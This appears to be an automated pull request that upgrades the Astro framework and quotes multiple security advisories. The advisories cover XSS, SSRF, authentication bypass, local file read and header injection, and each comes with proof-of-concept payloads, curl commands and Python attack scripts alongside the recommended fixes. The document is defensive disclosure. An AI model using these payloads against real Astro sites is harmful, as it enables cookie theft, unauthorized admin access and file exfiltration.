🚨 [security] Update astro 5.13.4 β†’ 6.1.8 (major)

🚨 Your current dependencies have known security vulnerabilities 🚨

This dependency update fixes known security vulnerabilities. Please see the details below and assess their impact carefully. We recommend to merge and deploy this as soon as possible!

Here is everything you need to know about this upgrade. Please take a good look at what changed and the test results before merging this pull request.

What changed?

✳️ astro (5.13.4 β†’ 6.1.8) Β· Repo Β· Changelog

Security Advisories 🚨

🚨 Astro: XSS in define:vars via incomplete </script> tag sanitization

Summary

The defineScriptVars function in Astro's server-side rendering pipeline uses a case-sensitive regex /<\/script>/g to sanitize values injected into inline <script> tags via the define:vars directive. HTML parsers close <script> elements case-insensitively and also accept whitespace or / before the closing >, allowing an attacker to bypass the sanitization with payloads like </Script>, </script >, or </script/> and inject arbitrary HTML/JavaScript.

Details

The vulnerable function is defineScriptVars at packages/astro/src/runtime/server/render/util.ts:42-53:

export function defineScriptVars(vars: Record<any, any>) {
	let output = '';
	for (const [key, value] of Object.entries(vars)) {
		output += `const ${toIdent(key)} = ${JSON.stringify(value)?.replace(
			/<\/script>/g,       // ← Case-sensitive, exact match only
			'\\x3C/script>',
		)};\n`;
	}
	return markHTMLString(output);
}

This function is called from renderElement at util.ts:172-174 when a <script> element has define:vars:

if (name === 'script') {
	delete props.hoist;
	children = defineScriptVars(defineVars) + '\n' + children;
}

The regex /<\/script>/g fails to match three classes of closing script tags that HTML parsers accept per the HTML specification Β§13.2.6.4:

  1. Case variations: </Script>, </SCRIPT>, </sCrIpT> β€” HTML tag names are case-insensitive but the regex has no i flag.
  2. Whitespace before >: </script >, </script\t>, </script\n> β€” after the tag name, the HTML tokenizer enters the "before attribute name" state on ASCII whitespace.
  3. Self-closing slash: </script/> β€” the tokenizer enters "self-closing start tag" state on /.

JSON.stringify() does not escape <, >, or / characters, so all these payloads pass through serialization unchanged.

Execution flow: User-controlled input (e.g., Astro.url.searchParams) β†’ assigned to a variable β†’ passed via define:vars on a <script> tag β†’ renderElement β†’ defineScriptVars β†’ incomplete sanitization β†’ injected into <script> block in HTML response β†’ browser closes the script element early β†’ attacker-controlled HTML parsed and executed.

PoC

Step 1: Create an SSR Astro page (src/pages/index.astro):

---
const name = Astro.url.searchParams.get('name') || 'World';
---
<html>
<body>
  <h1>Hello</h1>
  <script define:vars={{ name }}>
    console.log(name);
  </script>
</body>
</html>

Step 2: Ensure SSR is enabled in astro.config.mjs:

export default defineConfig({
  output: 'server'
});

Step 3: Start the dev server and visit:

http://localhost:4321/?name=</Script><img/src=x%20onerror=alert(document.cookie)>

Step 4: View the HTML source. The output contains:

<script>const name = "</Script><img/src=x onerror=alert(document.cookie)>";
  console.log(name);
</script>

The browser's HTML parser matches </Script> case-insensitively, closing the script block. The <img onerror=alert(document.cookie)> is then parsed as HTML and the JavaScript in onerror executes.

Alternative bypass payloads:

/?name=</script ><img/src=x onerror=alert(1)>
/?name=</script/><img/src=x onerror=alert(1)>
/?name=</SCRIPT><img/src=x onerror=alert(1)>

Impact

An attacker can execute arbitrary JavaScript in the context of a victim's browser session on any SSR Astro application that passes request-derived data to define:vars on a <script> tag. This is a documented and expected usage pattern in Astro.

Exploitation enables:

  • Session hijacking via cookie theft (document.cookie)
  • Credential theft by injecting fake login forms or keyloggers
  • Defacement of the rendered page
  • Redirection to attacker-controlled domains

The vulnerability affects all Astro versions that support define:vars and is exploitable in any SSR deployment where user input reaches a define:vars script variable.

Recommended Fix

Replace the case-sensitive exact-match regex with a comprehensive escape that covers all HTML parser edge cases. The simplest correct fix is to escape all < characters in the JSON output:

export function defineScriptVars(vars: Record<any, any>) {
	let output = '';
	for (const [key, value] of Object.entries(vars)) {
		output += `const ${toIdent(key)} = ${JSON.stringify(value)?.replace(
			/</g,
			'\\u003c',
		)};\n`;
	}
	return markHTMLString(output);
}

This is the standard approach used by frameworks like Next.js and Rails. Replacing every < with \u003c is safe inside JSON string contexts (JavaScript treats \u003c as < at runtime) and eliminates all possible </script> variants including case variations, whitespace, and self-closing forms.

🚨 Astro: Remote allowlist bypass via unanchored matchPathname wildcard

Summary

This issue concerns Astro's remotePatterns path enforcement for remote URLs used by server-side fetchers such as the image optimization endpoint. The path matching logic for /* wildcards is unanchored, so a pathname that contains the allowed prefix later in the path can still match. As a result, an attacker can fetch paths outside the intended allowlisted prefix on an otherwise allowed host. In our PoC, both the allowed path and a bypass path returned 200 with the same SVG payload, confirming the bypass.

Impact

Attackers can fetch unintended remote resources on an allowlisted host via the image endpoint, expanding SSRF/data exposure beyond the configured path prefix.

Description

Taint flow: request -> transform.src -> isRemoteAllowed() -> matchPattern() -> matchPathname()

User-controlled href is parsed into transform.src and validated via isRemoteAllowed():

Source:

astro/packages/astro/src/assets/endpoint/generic.ts

Lines 43 to 56 in e0f1a2b

const url = new URL(request.url);
const transform = await imageService.parseURL(url, imageConfig);
if (!transform?.src) {
throw new Error('Incorrect transform returned by `parseURL`');
}
let inputBuffer: ArrayBuffer | undefined = undefined;
const isRemoteImage = isRemotePath(transform.src);
if (isRemoteImage && isRemoteAllowed(transform.src, imageConfig) === false) {
return new Response('Forbidden', { status: 403 });
} 

const url = new URL(request.url);
const transform = await imageService.parseURL(url, imageConfig);

const isRemoteImage = isRemotePath(transform.src);

if (isRemoteImage && isRemoteAllowed(transform.src, imageConfig) === false) {
  return new Response('Forbidden', { status: 403 });
}

isRemoteAllowed() checks each remotePattern via matchPattern():

Source:

astro/packages/internal-helpers/src/remote.ts

Lines 15 to 21 in e0f1a2b

export function matchPattern(url: URL, remotePattern: RemotePattern): boolean {
return (
matchProtocol(url, remotePattern.protocol) &&
matchHostname(url, remotePattern.hostname, true) &&
matchPort(url, remotePattern.port) &&
matchPathname(url, remotePattern.pathname, true)
); 

export function matchPattern(url: URL, remotePattern: RemotePattern): boolean {
  return (
    matchProtocol(url, remotePattern.protocol) &&
    matchHostname(url, remotePattern.hostname, true) &&
    matchPort(url, remotePattern.port) &&
    matchPathname(url, remotePattern.pathname, true)
  );
}

The vulnerable logic in matchPathname() uses replace() without anchoring the prefix for /* patterns:

Source:

astro/packages/internal-helpers/src/remote.ts

Lines 85 to 99 in e0f1a2b

export function matchPathname(url: URL, pathname?: string, allowWildcard = false): boolean {
if (!pathname) {
return true;
} else if (!allowWildcard || !pathname.endsWith('*')) {
return pathname === url.pathname;
} else if (pathname.endsWith('/**')) {
const slicedPathname = pathname.slice(0, -2); // ** length
return slicedPathname !== url.pathname && url.pathname.startsWith(slicedPathname);
} else if (pathname.endsWith('/*')) {
const slicedPathname = pathname.slice(0, -1); // * length
const additionalPathChunks = url.pathname
.replace(slicedPathname, '')
.split('/')
.filter(Boolean);
return additionalPathChunks.length === 1; 

} else if (pathname.endsWith('/*')) {
  const slicedPathname = pathname.slice(0, -1); // * length
  const additionalPathChunks = url.pathname
    .replace(slicedPathname, '')
    .split('/')
    .filter(Boolean);
  return additionalPathChunks.length === 1;
}

Vulnerable code flow:

  1. isRemoteAllowed() evaluates remotePatterns for a requested URL.
  2. matchPathname() handles pathname: "/img/*" using .replace() on the URL path.
  3. A path such as /evil/img/secret incorrectly matches because /img/ is removed even when it's not at the start.
  4. The image endpoint fetches and returns the remote resource.

PoC

The PoC starts a local attacker server and configures remotePatterns to allow only /img/*. It then requests the image endpoint with two URLs: an allowed path and a bypass path with /img/ in the middle. Both requests returned the SVG payload, showing the path restriction was bypassed.

Vulnerable config

import { defineConfig } from 'astro/config';
import node from '@astrojs/node';

export default defineConfig({
  output: 'server',
  adapter: node({ mode: 'standalone' }),
  image: {
    remotePatterns: [
      { protocol: 'https', hostname: 'cdn.example', pathname: '/img/*' },
      { protocol: 'http', hostname: '127.0.0.1', port: '9999', pathname: '/img/*' },
    ],
  },
});

Affected pages

This PoC targets the /_image endpoint directly; no additional pages are required.

PoC Code

import http.client
import json
import urllib.parse

HOST = "127.0.0.1"
PORT = 4321

def fetch(path: str) -> dict:
    conn = http.client.HTTPConnection(HOST, PORT, timeout=10)
    conn.request("GET", path, headers={"Host": f"{HOST}:{PORT}"})
    resp = conn.getresponse()
    body = resp.read(2000).decode("utf-8", errors="replace")
    conn.close()
    return {
        "path": path,
        "status": resp.status,
        "reason": resp.reason,
        "headers": dict(resp.getheaders()),
        "body_snippet": body[:400],
    }

allowed = urllib.parse.quote("http://127.0.0.1:9999/img/allowed.svg", safe="")
bypass = urllib.parse.quote("http://127.0.0.1:9999/evil/img/secret.svg", safe="")

# Both pass, second should fail

results = {
    "allowed": fetch(f"/_image?href={allowed}&f=svg"),
    "bypass": fetch(f"/_image?href={bypass}&f=svg"),
}

print(json.dumps(results, indent=2))

Attacker server

from http.server import BaseHTTPRequestHandler, HTTPServer

HOST = "127.0.0.1"
PORT = 9999

PAYLOAD = """<svg xmlns=\"http://www.w3.org/2000/svg\">
  <text>OK</text>
</svg>
"""

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        print(f">>> {self.command} {self.path}")
        if self.path.endswith(".svg") or "/img/" in self.path:
            self.send_response(200)
            self.send_header("Content-Type", "image/svg+xml")
            self.send_header("Cache-Control", "no-store")
            self.end_headers()
            self.wfile.write(PAYLOAD.encode("utf-8"))
            return

        self.send_response(200)
        self.send_header("Content-Type", "text/plain")
        self.end_headers()
        self.wfile.write(b"ok")

    def log_message(self, format, *args):
        return

if __name__ == "__main__":
    server = HTTPServer((HOST, PORT), Handler)
    print(f"HTTP logger listening on http://{HOST}:{PORT}")
    server.serve_forever()

PoC Steps

  1. Bootstrap default Astro project.
  2. Add the vulnerable config and attacker server.
  3. Build the project.
  4. Start the attacker server.
  5. Start the Astro server.
  6. Run the PoC.
  7. Observe the console output showing both the allowed and bypass requests returning the SVG payload.

🚨 Astro has an Authentication Bypass via Double URL Encoding, a bypass for CVE-2025-64765

Authentication Bypass via Double URL Encoding in Astro

Bypass for CVE-2025-64765 / GHSA-ggxq-hp9w-j794

Summary

A double URL encoding bypass allows any unauthenticated attacker to bypass path-based authentication checks in Astro middleware, granting unauthorized access to protected routes. While the original CVE-2025-64765 (single URL encoding) was fixed in v5.15.8, the fix is insufficient as it only decodes once. By using double-encoded URLs like /%2561dmin instead of /%61dmin, attackers can still bypass authentication and access protected resources such as /admin, /api/internal, or any route protected by middleware pathname checks.

Fix

A more secure fix is just decoding once, then if the request has a %xx format, return a 400 error by using something like :

if (containsEncodedCharacters(pathname)) {
            // Multi-level encoding detected - reject request
            return new Response(
                'Bad Request: Multi-level URL encoding is not allowed',
                {
                    status: 400,
                    headers: { 'Content-Type': 'text/plain' }
                }
            );
        }

🚨 Astro vulnerable to reflected XSS via the server islands feature

Summary

After some research it appears that it is possible to obtain a reflected XSS when the server islands feature is used in the targeted application, regardless of what was intended by the component template(s).

Details

Server islands run in their own isolated context outside of the page request and use the following pattern path to hydrate the page: /_server-islands/[name]. These paths can be called via GET or POST and use three parameters:

  • e: component to export
  • p: the transmitted properties, encrypted
  • s: for the slots

Slots are placeholders for external HTML content, and therefore allow, by default, the injection of code if the component template supports it, nothing exceptional in principle, just a feature.

This is where it becomes problematic: it is possible, independently of the component template used, even if it is completely empty, to inject a slot containing an XSS payload, whose parent is a tag whose name is is the absolute path of the island file. Enabling reflected XSS on any application, regardless of the component templates used, provided that the server islands is used at least once.

How ?

By default, when a call is made to the endpoint /_server-islands/[name], the value of the parameter e is default, pointing to a function exported by the component's module.

Upon further investigation, we find that two other values ​​are possible for the component export (param e) in a typical configuration: url and file. file returns a string value corresponding to the absolute path of the island file. Since the value is of type string, it fulfills the following condition and leads to this code block:

image

An entire template is created, completely independently, and then returned:

  • the absolute path name is sanitized and then injected as the tag name
  • childSlots, the value provided to the s parameter, is injected as a child

All of this is done using markHTMLString. This allows the injection of any XSS payload, even if the component template intended by the application is initially empty or does not provide for the use of slots.

Proof of concept

For our Proof of Concept (PoC), we will use a minimal repository:

  • Latest Astro version at the time (5.15.6)
  • Use of Island servers, with a completely empty component, to demonstrate what we explained previously

Download the PoC repository

Access the following URL and note the opening of the popup, demonstrating the reflected XSS:

http://localhost:4321/_server-islands/ServerTime?e=file&p=&s={%22zhero%22:%22%3Cimg%20src=x%20onerror=alert(0)%3E%22}

image

The value of the parameter s must be in JSON format and the payload must be injected at the value level, not the key level :

for_respected_patron

Despite the initial template being empty, it is created because the value of the URL parameter e is set to file, as explained earlier. The parent tag is the name of the component's internal route, and its child is the value of the key "zhero" (the name doesn't matter) of the URL parameter s.

Credits

  • Allam Rachid (zhero;)
  • Allam Yasser (inzo)

🚨 Astro Development Server has Arbitrary Local File Read

Summary

A vulnerability has been identified in the Astro framework's development server that allows arbitrary local file read access through the image optimization endpoint. The vulnerability affects Astro development environments and allows remote attackers to read any image file accessible to the Node.js process on the host system.

Details

  • Title: Arbitrary Local File Read in Astro Development Image Endpoint
  • Type: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
  • Component: /packages/astro/src/assets/endpoint/node.ts
  • Affected Versions: Astro v5.x development builds (confirmed v5.13.3)
  • Attack Vector: Network (HTTP GET request)
  • Authentication Required: None

The vulnerability exists in the Node.js image endpoint handler used during development mode. The endpoint accepts an href parameter that specifies the path to an image file. In development mode, this parameter is processed without adequate path validation, allowing attackers to specify absolute file paths.

Vulnerable Code Location: packages/astro/src/assets/endpoint/node.ts

// Vulnerable code in development mode
if (import.meta.env.DEV) {
    fileUrl = pathToFileURL(removeQueryString(replaceFileSystemReferences(src)));
} else {
    // Production has proper path validation
    // ... security checks omitted in dev mode
}

The development branch bypasses the security checks that exist in the production code path, which validates that file paths are within the allowed assets directory.

PoC

Attack Prerequisites

  1. Astro development server must be running (astro dev)
  2. The /_image endpoint must be accessible to the attacker
  3. Target image files must be readable by the Node.js process

Exploit Steps

  1. Start Astro Development Server:

    astro dev  # Typically runs on http://localhost:4321

  2. Craft Malicious Request:

    GET /_image?href=/[ABSOLUTE_PATH_TO_IMAGE]&w=100&h=100&f=png HTTP/1.1
Host: localhost:4321

  3. Example Attack:

    curl "http://localhost:4321/_image?href=/%2FSystem%2FLibrary%2FImage%20Capture%2FAutomatic%20Tasks%2FMakePDF.app%2FContents%2FResources%2F0blank.jpg&w=100&h=100&f=png" -o stolen.png

Demonstration Results

Test Environment: macOS with Astro v5.13.3

Successful Exploitation:

  • Target: /System/Library/Image Capture/Automatic Tasks/MakePDF.app/Contents/Resources/0blank.jpg
  • Response: HTTP 200 OK, Content-Type: image/png
  • Exfiltration: 303 bytes (100x100 PNG)
  • File Created: stolen-image.png containing processed system image

Attack Payload:

http://localhost:4321/_image?href=/%2FSystem%2FLibrary%2FImage%20Capture%2FAutomatic%20Tasks%2FMakePDF.app%2FContents%2FResources%2F0blank.jpg&w=100&h=100&f=png

Server Response:

Status: 200 OK
Content-Type: image/png
Content-Length: 303

Impact

Confidentiality Impact: HIGH

  • Scope: Any image file readable by the Node.js process
  • Exfiltration Method: Complete file contents via HTTP response (transformed to PNG)

Integrity Impact: NONE

  • The vulnerability only allows reading files, not modification

Availability Impact: NONE

  • No direct impact on system availability
  • Potential for resource exhaustion through repeated large image requests

Affected Components

Primary Component

  • File: packages/astro/src/assets/endpoint/node.ts
  • Function: loadLocalImage()
  • Lines: Development mode branch (~25-35)

Secondary Components

  • File: packages/astro/src/assets/endpoint/generic.ts
  • Impact: Uses different code path, not directly vulnerable
  • Note: Implements proper remote allowlist validation

🚨 Astro's middleware authentication checks based on url.pathname can be bypassed via url encoded values

A mismatch exists between how Astro normalizes request paths for routing/rendering and how the application’s middleware reads the path for validation checks. Astro internally applies decodeURI() to determine which route to render, while the middleware uses context.url.pathname without applying the same normalization (decodeURI).

This discrepancy may allow attackers to reach protected routes (e.g., /admin) using encoded path variants that pass routing but bypass validation checks.

astro/packages/astro/src/vite-plugin-astro-server/request.ts

Lines 40 to 44 in ebc4b1c

pathname = decodeURI(url.pathname);
}
// Add config.base back to url before passing it to SSR
url.pathname = removeTrailingForwardSlash(config.base) + url.pathname; 

/** The main logic to route dev server requests to pages in Astro. */
export async function handleRequest({
    pipeline,
    routesList,
    controller,
    incomingRequest,
    incomingResponse,
}: HandleRequest) {
    const { config, loader } = pipeline;
    const origin = `${loader.isHttps() ? 'https' : 'http'}://${
        incomingRequest.headers[':authority'] ?? incomingRequest.headers.host
    }`;

    const url = new URL(origin + incomingRequest.url);
    let pathname: string;
    if (config.trailingSlash === 'never' && !incomingRequest.url) {
        pathname = '';
    } else {
        // We already have a middleware that checks if there's an incoming URL that has invalid URI, so it's safe
        // to not handle the error: packages/astro/src/vite-plugin-astro-server/base.ts
        pathname = decodeURI(url.pathname); // here this url is for routing/rendering
    }

    // Add config.base back to url before passing it to SSR
    url.pathname = removeTrailingForwardSlash(config.base) + url.pathname; // this is used for middleware context

Consider an application having the following middleware code:

import { defineMiddleware } from "astro/middleware";

export const onRequest = defineMiddleware(async (context, next) => {
  const isAuthed = false;  // simulate no auth
  if (context.url.pathname === "/admin" && !isAuthed) {
    return context.redirect("/");
  }
  return next();
});

context.url.pathname is validated , if it's equal to /admin the isAuthed property must be true for the next() method to be called. The same example can be found in the official docs https://docs.astro.build/en/guides/authentication/

context.url.pathname returns the raw version which is /%61admin while pathname which is used for routing/rendering /admin, this creates a path normalization mismatch.

By sending the following request, it's possible to bypass the middleware check

GET /%61dmin HTTP/1.1
Host: localhost:3000
image

Remediation

Ensure middleware context has the same normalized pathname value that Astro uses internally, because any difference could allow it to bypass such checks. In short maybe something like this

        pathname = decodeURI(url.pathname);
    }

    // Add config.base back to url before passing it to SSR
-    url.pathname = removeTrailingForwardSlash(config.base) + url.pathname;
+    url.pathname = removeTrailingForwardSlash(config.base) + decodeURI(url.pathname);

Thank you, let @Sudistark know if any more info is needed. Happy to help :)

🚨 Astro Cloudflare adapter has Stored Cross-site Scripting vulnerability in /_image endpoint

Summary
A Cross-Site Scripting (XSS) vulnerability exists in Astro when using the @astrojs/cloudflare adapter with output: 'server'. The built-in image optimization endpoint (/_image) uses isRemoteAllowed() from Astro’s internal helpers, which unconditionally allows data: URLs. When the endpoint receives a valid data: URL pointing to a malicious SVG containing JavaScript, and the Cloudflare-specific implementation performs a 302 redirect back to the original data: URL, the browser directly executes the embedded JavaScript. This completely bypasses any domain allow-listing (image.domains / image.remotePatterns) and typical Content Security Policy mitigations.

Affected Versions

  • @astrojs/cloudflare ≀ 12.6.10 (and likely all previous versions)
  • Astro β‰₯ 4.x when used with output: 'server' and the Cloudflare adapter

Root Cause – Vulnerable Code
File: node_modules/@astrojs/internal-helpers/src/remote.ts

export function isRemoteAllowed(src: string, ...): boolean {
  if (!URL.canParse(src)) {
    return false;
  }
  const url = new URL(src);

  // Data URLs are always allowed 
  if (url.protocol === 'data:') {
    return true;
  }

  // Non-http(s) protocols are never allowed
  if (!['http:', 'https:'].includes(url.protocol)) {
    return false;
  }
  // ... further http/https allow-list checks
}

In the Cloudflare adapter, the /_image endpoint contains logic similar to:

	const href = ctx.url.searchParams.get('href');
	if (!href) {
		// return error 
	}

	if (isRemotePath(href)) {
		if (isRemoteAllowed(href, imageConfig) === false) {
			// return error
		} else {
            //redirect to return the image 
			return Response.redirect(href, 302);
		}
	}

Because data: URLs are considered β€œallowed”, a request such as:
https://example.com/_image?href=data:image/svg+xml;base64,PHN2Zy... (base64-encoded malicious SVG)

triggers a 302 redirect directly to the data: URL, causing the browser to render and execute the malicious JavaScript inside the SVG.

Proof of Concept (PoC)

  1. Create a minimal Astro project with Cloudflare adapter (output: 'server').
  2. Deploy to Cloudflare Pages or Workers.
  3. Request the image endpoint with the following payload:
https://yoursite.com/_image?href=data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxzY3JpcHQ+YWxlcnQoJ3pvbWFzZWMnKTwvc2NyaXB0Pjwvc3ZnPg==

(Base64 decodes to: <svg xmlns="http://www.w3.org/2000/svg"><script>alert('zomasec')</script></svg>)

  1. The endpoint returns a 302 redirect to the data: URL β†’ browser executes the <script> β†’ alert() fires.

Impact

  • Reflected/Strored XSS (depending on application usage)
  • Session hijacking (access to cookies, localStorage, etc.)
  • Account takeover when combined with CSRF
  • Data exfiltration to attacker-controlled servers
  • Bypasses image.domains / image.remotePatterns configuration entirely

Safe vs Vulnerable Behavior
Other Astro adapters (Node, Vercel, etc.) typically proxy and rasterize SVGs, stripping JavaScript. The Cloudflare adapter currently redirects to remote resources (including data: URLs), making it uniquely vulnerable.

References

🚨 Astro development server error page is vulnerable to reflected Cross-site Scripting

Summary

A Reflected Cross-Site Scripting (XSS) vulnerability exists in Astro's development server error pages when the trailingSlash configuration option is used. An attacker can inject arbitrary JavaScript code that executes in the victim's browser context by crafting a malicious URL. While this vulnerability only affects the development server and not production builds, it could be exploited to compromise developer environments through social engineering or malicious links.

Details

Vulnerability Location

astro/packages/astro/src/template/4xx.ts

Lines 133 to 149 in 5bc37fd

export function trailingSlashMismatchTemplate(
pathname: string,
trailingSlash: 'always' | 'never' | 'ignore',
) {
const corrected =
trailingSlash === 'always'
? appendForwardSlash(pathname)
: removeTrailingForwardSlash(pathname);
return template({
pathname,
statusCode: 404,
title: 'Not found',
tabTitle: '404: Not Found',
body: `<p>Your site is configured with <code>trailingSlash</code> set to <code>${trailingSlash}</code>. Do you want to go to <a href="${corrected}">${corrected}</a> instead?</p>
<p>See <a href="https://docs.astro.build/en/reference/configuration-reference/#trailingslash">the documentation for <code>trailingSlash</code></a> if you need help.</p>`,
});
}

Root Cause

The vulnerability was introduced in commit 536175528 (PR #12994) , as part of a feature to "redirect trailing slashes on on-demand rendered pages." The feature added a helpful 404 error page in development mode to alert developers of trailing slash mismatches.

Issue: The corrected variable, which is derived from the user-controlled pathname parameter, is directly interpolated into the HTML without proper escaping. While the pathname variable itself is escaped elsewhere in the same file (line 114: escape(pathname)), the corrected variable is not sanitized before being inserted into both the href attribute and the link text.

Attack Vector

When a developer has configured trailingSlash to 'always' or 'never' and visits a URL with a mismatched trailing slash, the development server returns a 404 page containing the vulnerable template. An attacker can craft a URL with JavaScript payloads that will be executed when the page is rendered.

PoC

Local Testing (localhost)

Basic vulnerability verification in local development environment

Show details

astro.config.mjs:

import { defineConfig } from 'astro/config';

export default defineConfig({
  trailingSlash: 'never', // or 'always'
  server: {
    port: 3000,
    host: true
  }
});

package.json:

{
  "name": "astro-xss-poc-victim",
  "version": "0.1.0",
  "scripts": {
    "dev": "astro dev"
  },
  "dependencies": {
    "astro": "5.15.5"
  }
}

Start the development server:

npm install
npm run dev

Access the following malicious URL depending on your configuration:

For trailingSlash: 'never' (requires trailing slash):

http://localhost:3000/"></code><script>alert(document.domain)</script><!--/

For trailingSlash: 'always' (no trailing slash):

http://localhost:3000/"></code><script>alert(document.domain)</script><!--

When accessing the malicious URL:

  1. The development server returns a 404 page due to trailing slash mismatch
  2. The JavaScript payload (alert(document.domain)) executes in the browser
  3. An alert dialog appears, demonstrating arbitrary code execution

Remote Testing (ngrok)

Reproduce realistic attack scenario via external malicious link

Show details

Prerequisites: ngrok account and authtoken configured (ngrok config add-authtoken <key>)

Setup and Execution:

#!/bin/bash
set -e

mkdir -p logs

npm i
npm run dev > ./logs/victim.log 2>&1 &

ngrok http 3000 > ./logs/ngrok.log 2>&1 &

sleep 3

NGROK_URL=$(curl -s http://localhost:4040/api/tunnels | grep -o '"public_url":"https://[^"]*' | head -1 | cut -d'"' -f4)
echo ""
echo "=== Attack URLs ==="
echo ""
echo "For trailingSlash: 'never' (requires trailing slash):"
echo "${NGROK_URL}/\"></code><script>alert(document.domain)</script><!--/"
echo ""
echo "For trailingSlash: 'always' (no trailing slash):"
echo "${NGROK_URL}/\"></code><script>alert(document.domain)</script><!--"
echo ""
wait

When a remote user accesses either of the generated attack URLs:

  1. The request is tunneled through ngrok to the local development server
  2. The development server returns a 404 page due to trailing slash mismatch
  3. The JavaScript payload (alert(document.domain)) executes in the user's browser

Both URL patterns work depending on your trailingSlash configuration ('never' or 'always').

Impact

This only affects the development server. Risk depends on how and where the dev server is exposed.

Security impact

  • Developer environment compromise: Visiting a crafted URL can run arbitrary JS in the developer's browser.
  • Session hijacking: Active developer sessions can be stolen if services are open in the browser.
  • Local resource access: JS may probe localhost endpoints or dev tools depending on browser policies.
  • Supply-chain risk: Malicious packages or CI that start dev servers can widen exposure.

Attack scenarios

  • Social engineering: Malicious link sent to a developer triggers the XSS when opened.
  • Malicious documentation: Attack URLs embedded in issues, PRs, chat, or docs.
  • Dependency/CI abuse: Packages or automation that spawn public dev servers expose many targets.

🚨 Astro vulnerable to URL manipulation via headers, leading to middleware and CVE-2025-61925 bypass

Summary

In impacted versions of Astro using on-demand rendering, request headers x-forwarded-proto and x-forwarded-port are insecurely used, without sanitization, to build the URL. This has several consequences the most important of which are:

  • Middleware-based protected route bypass (only via x-forwarded-proto)
  • DoS via cache poisoning (if a CDN is present)
  • SSRF (only via x-forwarded-proto)
  • URL pollution (potential SXSS, if a CDN is present)
  • WAF bypass

Details

The x-forwarded-proto and x-forwarded-port headers are used without sanitization in two parts of the Astro server code. The most important is in the createRequest() function. Any configuration, including the default one, is affected:

astro/packages/astro/src/core/app/node.ts

Line 97 in 970ac0f

const forwardedProtocol = getFirstForwardedValue(req.headers['x-forwarded-proto']);

astro/packages/astro/src/core/app/node.ts

Line 121 in 970ac0f

const port = getFirstForwardedValue(req.headers['x-forwarded-port']);

These header values are then used directly to construct URLs.

By injecting a payload at the protocol level during URL creation (via the x-forwarded-proto header), the entire URL can be rewritten, including the host, port and path, and then pass the rest of the URL, the real hostname and path, as a query so that it doesn't affect (re)routing.

If the following header value is injected when requesting the path /ssr:

x-forwarded-proto: https://www.malicious-url.com/?tank=

The complete URL that will be created is: https://www.malicious-url.com/?tank=://localhost/ssr

As a reminder, URLs are created like this:

url = new URL(`${protocol}://${hostnamePort}${req.url}`);

The value is injected at the beginning of the string (${protocol}), and ends with a query ?tank= whose value is the rest of the string, ://${hostnamePort}${req.url}.

This way there is control over the routing without affecting the path, and the URL can be manipulated arbitrarily. This behavior can be exploited in various ways, as will be seen in the PoC section.

The same logic applies to x-forwarded-port, with a few differences.

Note

The createRequest function is called every time a non-static page is requested. Therefore, all non-static pages are exploitable for reproducing the attack.

PoC

The PoC will be tested with a minimal repository:

  • Latest Astro version at the time (2.16.0)
  • The Node adapter
  • Two simple pages, one SSR (/ssr), the other simulating an admin page (/admin) protected by a middleware
  • A middleware example copied and pasted from the official Astro documentation to protect the admin page based on the path

Download the PoC repository

Middleware-based protected route bypass - x-forwarded-proto only

The middleware has been configured to protect the /admin route based on the official documentation:

// src/middleware.ts
import { defineMiddleware } from "astro/middleware";

export const onRequest = defineMiddleware(async (context, next) => {
  const isAuthed = false; // auth logic
  if (context.url.pathname === "/admin" && !isAuthed) {
    return context.redirect("/");
  }
  return next();
});

  1. When tryint to access /admin the attacker is naturally redirected :

    curl -i http://localhost:4321/admin
    image

  2. The attackr can bypass the middleware path check using a malicious header value:

    curl -i -H "x-forwarded-proto: x:admin?" http://localhost:4321/admin
    image

How ​​is this possible?

Here, with the payload x:admin?, the attacker can use the URL API parser to their advantage:

  • x: is considered the protocol
  • Since there is no //, the parser considers there to be no authority, and everything before the ? character is therefore considered part of the path: admin

During a path-based middleware check, the path value begins with a /: context.url.pathname === "/admin". However, this is not the case with this payload; context.url.pathname === "admin", the absence of a slash satisfies both the middleware check and the router and consequently allows us to bypass the protection and access the page.

SSRF

As seen, the request URL is built from untrusted input via the x-forwarded-protocol header, if it turns out that this URL is subsequently used to perform external network calls, for an API for example, this allows an attacker to supply a malicious URL that the server will fetch, resulting in server-side request forgery (SSRF).

Example of code reusing the "origin" URL, concatenating it to the API endpoint :

image

DoS via cache poisoning

If a CDN is present, it is possible to force the caching of bad pages/resources, or 404 pages on the application routes, rendering the application unusable.

A 404 cab be forced, causing an error on the /ssr page like this : curl -i -H "x-forwarded-proto: https://localhost/vulnerable?" http://localhost:4321/ssr
image

Same logic applies to x-forwarded-port : curl -i -H "x-forwarded-port: /vulnerable?" http://localhost:4321/ssr

How ​​is this possible?

The router sees the request for the path /vulnerable, which does not exist, and therefore returns a 404, while the potential CDN sees /ssr and can then cache the 404 response, consequently serving it to all users requesting the path /ssr.

URL pollution

The exploitability of the following is also contingent on the presence of a CDN, and is therefore cache poisoning.

If the value of request.url is used to create links within the page, this can lead to Stored XSS with x-forwarded-proto and the following value:

x-forwarded-proto: javascript:alert(document.cookie)//

results in the following URL object:

image

It is also possible to inject any link, always, if the value of request.url is used on the server side to create links.

x-forwarded-proto: https://www.malicious-site.com/bad?

The attacker is more limited with x-forwarded-port

If the value of request.url is used to create links within the page, this can lead to broken links, with the header and the following value:

X-Forwarded-Port: /nope?

Example of an Astro website:
Capture d’écran 2025-11-03 aΜ€ 22 07 14

WAF bypass

For this section, Astro invites users to read previous research on the React-Router/Remix framework, in the section "Exploitation - WAF bypass and escalations". This research deals with a similar case, the difference being that the vulnerable header was x-forwarded-host in their case:

https://zhero-web-sec.github.io/research-and-things/react-router-and-the-remixed-path

Note: A section addressing DoS attacks via cache poisoning using the same vector was also included there.

CVE-2025-61925 complete bypass

It is possible to completely bypass the vulnerability patch related to the X-Forwarded-Host header.

By sending x-forwarded-host with an empty value, the forwardedHostname variable is assigned an empty string. Then, during the subsequent check, the condition fails because forwardedHostname returns false, its value being an empty string:

if (forwardedHostname && !App.validateForwardedHost(...))

Consequently, the implemented check is bypassed. From this point on, since the request has no host (its value being an empty string), the path value is retrieved by the URL parser to set it as the host. This is because the http/https schemes are considered special schemes by the WHATWG URL Standard Specification, requiring an authority state.

From there, the following request on the example SSR application (astro repo) yields an SSRF:
Capture d’écran 2025-11-06 aΜ€ 21 18 26
empty x-forwarded-host + the target host in the path

Credits

  • Allam Rachid (zhero;)
  • Allam Yasser (inzo)

